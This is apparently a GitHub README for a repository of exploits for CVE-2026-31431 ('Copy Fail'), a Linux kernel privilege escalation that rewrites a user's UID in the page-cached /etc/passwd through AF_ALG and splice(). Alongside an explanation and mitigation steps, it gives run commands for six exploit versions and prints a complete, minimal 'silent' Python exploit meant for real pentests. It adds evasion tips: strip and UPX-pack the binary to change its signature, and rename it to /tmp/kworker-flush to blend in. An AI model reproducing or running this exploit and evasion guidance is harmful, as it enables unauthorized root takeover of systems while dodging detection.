
Multi-language educational exploit implementations for CVE-2026-31431, a Linux kernel local privilege escalation via the algif_aead module, with a safe detector and CTF usage guidance.
Educational repository with multi-language implementations of the Copy Fail exploit.
Created and maintained by @shotafry — because reading the CVE is not enough. You have to reproduce it.
Copy Fail is a local privilege escalation (LPE) vulnerability in the Linux kernel, catalogued as CVE-2026-31431. It affects the kernel's cryptographic subsystem, specifically the algif_aead module that handles authenticated encryption (AEAD) operations through AF_ALG sockets.
The bug was introduced in 2017 as part of an optimization in the authencesn module and went undetected for nearly 9 years, present in virtually every modern Linux distribution.
What makes Copy Fail special compared to other historical LPEs:
The vulnerability was discovered by Taeyang Lee from Theori's research team. The full exploit chain was developed by the Xint Code Research team, who documented the process using AI-assisted analysis of the Linux kernel's crypto/ subsystem.
The public disclosure includes a functional PoC, complete technical analysis and documentation at copy.fail.
CVE: CVE-2026-31431
CVSS: 7.8 — HIGH
Vector: Local
Impact: Full privilege escalation (root)
Distros: All Linux distributions with kernel >= 2017 (unpatched)
The CVSS score is 7.8 and does not reach critical (9+) solely because it requires prior local access — the attacker must already have a session on the system. In cloud environments and with Docker containers, this requirement is considerably easier to meet than it appears.
The Linux kernel stores recently read files in RAM. This is called the page cache. When a process reads /etc/passwd, the kernel does not go to disk — it serves the in-memory copy. This is faster, but creates an attack surface: if you can modify that RAM copy without touching the disk, the system will see falsified data.
The algif_aead module allows AEAD operations from user space via AF_ALG sockets. The bug lies in the 2017 optimization: when splice() is used to pass pages from a file into the socket, those page cache pages end up in the destination (writable) scatter-gather list of the cryptographic operation.
Result: any unprivileged user can write 4 controlled bytes into any file they can read, without touching the disk.
Unprivileged user
│
▼
Opens AF_ALG socket (authencesn)
│
▼
sendmsg() — AEAD parameters with our 4 bytes in seqno_lo
│
▼
splice() — file → pipe → op socket
[BUG] The file's page cache pages end up in the destination scatterlist
│
▼
recv() triggers the AEAD operation
Auth check fails (EBADMSG) but the scratch-write already happened
│
▼
/etc/passwd (page cache) now says: user → UID 0
│
▼
su <user> → PAM validates real password → setuid(0) → ROOT
Imagine the kernel has a castle registry book (/etc/passwd). Copy Fail is like discovering that if you open the castle's magic workshop in a very specific order, the registry book accidentally ends up on your workbench — and you can change your rank from "foot soldier" to "king" with a pen. The clerk (PAM) checks your password but doesn't check the original book, only the copy in front of them. You're king.

>= ~2017 without the CVE-2026-31431 patchalgif_aead module available and loadable# Check kernel version
uname -a
# Check if the algorithm is available
grep -i authencesn /proc/crypto
# Check if the module is loaded
lsmod | grep alg
If grep -i authencesn /proc/crypto returns authencesn(hmac(sha256),cbc(aes)), the system is vulnerable.
This repository contains the exploit implemented in 6 languages, all functionally equivalent, with educational comments in Spanish.
copy_fail_exploit.c → C — static binary, zero dependencies
copy_fail_exploit.py → Python — most readable, ideal for learning
copy_fail_exploit.rs → Rust — the irony: "safe" language exploits kernel
copy_fail_exploit.go → Go — static binary, highly portable
copy_fail_exploit.rb → Ruby — ubiquitous on Rails servers
copy_fail_exploit.pl → Perl — the quietest, present on all Linux
test_cve_2026_31431.py → Detector — checks vulnerability without exploiting anything
python3 test_cve_2026_31431.py
gcc copy_fail_exploit.c -o copy_fail_c
./copy_fail_c # dry-run (cleans up, leaves no trace)
./copy_fail_c --shell # full exploit
python3 copy_fail_exploit.py
python3 copy_fail_exploit.py --shell
rustc copy_fail_exploit.rs -o copy_fail_rs
./copy_fail_rs
./copy_fail_rs --shell
go build -o copy_fail_go copy_fail_exploit.go
./copy_fail_go
./copy_fail_go --shell
ruby copy_fail_exploit.rb
ruby copy_fail_exploit.rb --shell
perl copy_fail_exploit.pl
perl copy_fail_exploit.pl --shell
# Rust
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
source ~/.cargo/env
# Go
apt install golang-go
# Ruby
apt install ruby
# Perl (almost always pre-installed)
perl --version
Once the exploit runs (before su), verify the page cache change visually:
# Terminal 1: real-time monitoring
watch -n 0.5 'grep youruser /etc/passwd'
# Terminal 2: run exploit
python3 copy_fail_exploit.py --shell
You'll see the UID field change from 1000 to 0000 in real time. After su:
id
# uid=0(root) gid=0(root) groups=0(root)
To clean up without rebooting (from the root shell):
echo 3 > /proc/sys/vm/drop_caches
[*] CVE-2026-31431 LPE user=shotafry uid=1000
[*] /etc/passwd: user 'shotafry' — UID field at offset 3118 = '1000'
[*] Patching '1000' -> '0000' in page cache...
[+] Page cache now shows UID 0 at offset 3118
[+] /etc/passwd (page cache) now lists shotafry as UID 0
[+] Run: su shotafry
[+] Enter your password. su will setuid(0) → root shell.
The disk is never modified. A reboot or drop_caches restores everything to the original state.
Copy Fail is relevant in any CTF or privesc lab running Linux where the kernel is unpatched.
algif_aead may be disabled in hardened environments — if the detector fails at the AF_ALG step, look for another vectoruname -a
python3 test_cve_2026_31431.py
python3 copy_fail_exploit.py --shell
echo 3 > /proc/sys/vm/drop_caches
The implementations in this repo are verbose and heavily commented by design. In a real pentest context, you'll want quieter versions.
The exploit at its core is just 5 syscalls: socket, bind, setsockopt, sendmsg, splice. Everything else is cosmetic. A silent version removes all output and minimizes code to the functional minimum.
import os, socket, struct, pwd
def w4(p, o, b):
f = os.open(p, 0); os.read(f, 4096)
m = socket.socket(38, 5, 0)
m.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
m.setsockopt(279, 1, struct.pack("HH", 8, 1) + struct.pack(">I", 16) + b"\x00"*48)
op, _ = m.accept()
aad = b"\x00\x00\x00\x00" + b
op.sendmsg([aad], [(279,3,struct.pack("I",0)),(279,2,struct.pack("I",16)+b"\x00"*16),(279,4,struct.pack("I",8))], 32768)
pr, pw = os.pipe()
os.splice(f, pw, 32, offset_src=o); os.splice(pr, op.fileno(), 32)
try: op.recv(64)
except: pass
[os.close(x) for x in [pr,pw,op.fileno(),m.fileno(),f]]
u = pwd.getpwuid(os.getuid()).pw_name
d = open("/etc/passwd","rb").read()
i = d.index(u.encode()+b":")+len(u)+1
i = d.index(b":",i)+1
w4("/etc/passwd", i, b"0000")
os.execvp("su", ["su", u])
# Strip debug symbols from C binary
gcc exploit.c -o exploit && strip exploit
# Compress binary with UPX (changes signature)
upx --best exploit
# Rename binary to blend in
cp exploit /tmp/kworker-flush
⚠️ Note: AVs and EDRs detect obfuscation patterns (compressed imports, single-char function names, zlib+hex chains). A statically compiled C binary with
stripremains the quietest option in monitored environments.
# Debian/Ubuntu/Kali
apt update && apt upgrade
# RHEL/Fedora
dnf update
# Arch
pacman -Syu
rmmod algif_aead 2>/dev/null
echo "install algif_aead /bin/false" >> /etc/modprobe.d/disable-algif.conf
python3 test_cve_2026_31431.py
# [+] Page cache intact. NOT vulnerable on this kernel.
The patch must be applied to the host kernel — containers share the kernel and are not isolated from this vulnerability. Updating only the container image provides zero protection.
CVE-2026-31431-Copy-Fail/
├── README.md ← Spanish version
├── README_ENGLISH.md ← This file
├── copy_fail_exploit.c
├── copy_fail_exploit.py
├── copy_fail_exploit.rs
├── copy_fail_exploit.go
├── copy_fail_exploit.rb
├── copy_fail_exploit.pl
├── test_cve_2026_31431.py
└── assets/
├── Infografia.png
├── Exploit en C.png ← Demo in C
└── passwd.png
While everyone was posting this CVE with an AI-generated paragraph and a link to the official repo, I spent the day actually studying it: reading the kernel code, understanding the page cache, reproducing the exploit in a lab, and then porting it to 6 different languages to understand exactly what's happening at each layer.
The Rust version is my favorite. You use the language most obsessed with memory safety to exploit a flaw in the kernel written in C. The irony speaks for itself.
This repo exists because I believe the difference between a security professional and someone who just shares posts is whether you've actually sat down and reproduced the things you talk about.
authencesn / algif_aead moduleThis repository is exclusively for educational use, security research, and testing on systems you own or have explicit written authorization to audit.
Using these tools against systems without authorization is illegal in most jurisdictions. The author takes no responsibility for misuse of this material.
Only test on what is yours or what you have permission to audit.
Built with curiosity, a lab environment, and too much coffee.
@shotafry
@BrayLozano
| Feature | Copy Fail | Typical LPE |
|---|
| Requires race condition | ❌ No | ✅ Yes |
| Requires kernel-specific offset | ❌ No | ✅ Yes |
| Works across all distros | ✅ Yes | ❌ Usually not |
| Reliability | 100% deterministic | Variable |
| Modifies disk | ❌ No (RAM only) | Depends |
| Language | Target requirement | Pre-compilation needed |
|---|
| C | None (static binary) | gcc on build machine |
| Python | Python 3.10+ | No |
| Rust | None (static binary) | rustc on build machine |
| Go | None (static binary) | go on build machine |
| Ruby | Ruby + fiddle gem (included by default) | No |
| Perl | Perl 5 (present on virtually all Linux) | No |